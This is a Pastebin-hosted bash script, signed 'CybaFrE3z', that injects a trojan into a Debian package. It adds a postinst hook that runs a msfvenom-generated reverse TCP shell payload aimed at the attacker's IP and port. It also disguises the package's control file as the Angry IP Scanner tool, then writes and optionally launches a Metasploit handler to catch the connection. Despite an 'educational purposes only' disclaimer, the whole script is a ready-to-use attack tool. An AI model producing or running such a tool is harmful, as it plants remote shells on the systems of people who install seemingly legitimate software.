Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/bin/bash
- # This scrpit will help creat a debian package
- # trojan for hack debian operating systems.
- # Its a dirty little script for EDUACTIONAL
- # PURPOSES ONLY.
- #
- # The user is entirely responsible for
- # any use and damage caused by this script.
- #
- # Created by </CybaFrE3z>
- #
- #
- redbold='\E[1;31m'
- red='\E[0;31m'
- yellow='\E[33m'
- white='\E[37m'
- endc='\E[0m'
- clear
- echo -e "
- $white==============================================================$endc
- $redbold\DEB PACKAGE INJECTOR$endc
- $yellow[Info]$endc$white This script injects a trojan
- in a debian package file.$endc
- $red\By CybaFrE3z$endc
- $red--------------------------------------------------------------$endc
- $white===============www.facebook.com/lifeofayounghacker============$endc
- $red--------------------------------------------------------------"$endc
- echo
- #Check root
- if [ "$(id -u)" != "0" ]; then
- echo -e "$red[!] This script must be run as root$endc" 1>&2
- echo
- exit 1
- fi
- time=$(date +"%H_%M_%S")
- echo -ne "$white[+] Path to .deb to inject. (Less than 3MB is recommended)
- > "$endc
- read path
- echo
- echo -ne "$white[+] Our listening IP address.
- > "$endc
- read IP
- echo
- echo -ne "$white[+] Our listening Port.
- > "$endc
- read PORT
- echo
- echo
- echo -e "$white[+] Processing....$endc"
- mkdir workdir
- cd workdir
- dpkg -x $path package
- cd package && mkdir DEBIAN && cd DEBIAN
- echo "chmod 2755 /tmp/libheader && /tmp/libheader &" >> postinst
- chmod 755 postinst
- echo -e "Package: ipscan
- Section: net
- Version: 3.2-1
- Priority: optional
- Architecture: i386
- Maintainer: CybaFrE3z <www.fb.com/lifeofayounghacker>
- Description: Angry IP Scanner - fast and friendly IP Scanner
- Angry IP Scanner is a cross-platform network scanner written in Java.
- It can scan IP-based networks in any range, scan ports, and resolve
- other information.
- The program provides an easy to use GUI interface and is very extensible,
- see http://angryip.org/ for more information." > control
- sleep 2
- cd ..
- mkdir tmp && cd tmp
- msfvenom -p linux/x86/shell/reverse_tcp LHOST=$IP LPORT=$PORT -f exe -o libheader
- cd ../..
- dpkg-deb --build package
- mv package.deb ../injected-package_$time.deb
- echo "use exploit/multi/handler
- set PAYLOAD linux/x86/meterpreter/reverse_tcp
- set LHOST $IP
- set LPORT $PORT
- exploit -j" > ../msf_handler_$time.rc
- cd ..
- chmod 777 injected-package_$time.deb
- chmod 777 msf_handler_$time.rc
- rm -rf workdir
- echo
- echo -e "$yellow[+] Done Creating trojan!"$endc
- echo -ne "$white[?] Do you want to start a handler now?
- (y/n):> "$endc
- read option
- if [[ $option = Y || $option = y ]] ;
- then
- echo -e "$white[+] Starting metasploit handler...$endc"
- sleep 2
- msfconsole -r msf_handler_$time.rc
- else
- echo -e "$yellow[+] Ok, Everything is done"$endc
- echo -e "$yellow[+] Find package and RC file here:$endc $white$(pwd)$endc"
- fi
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement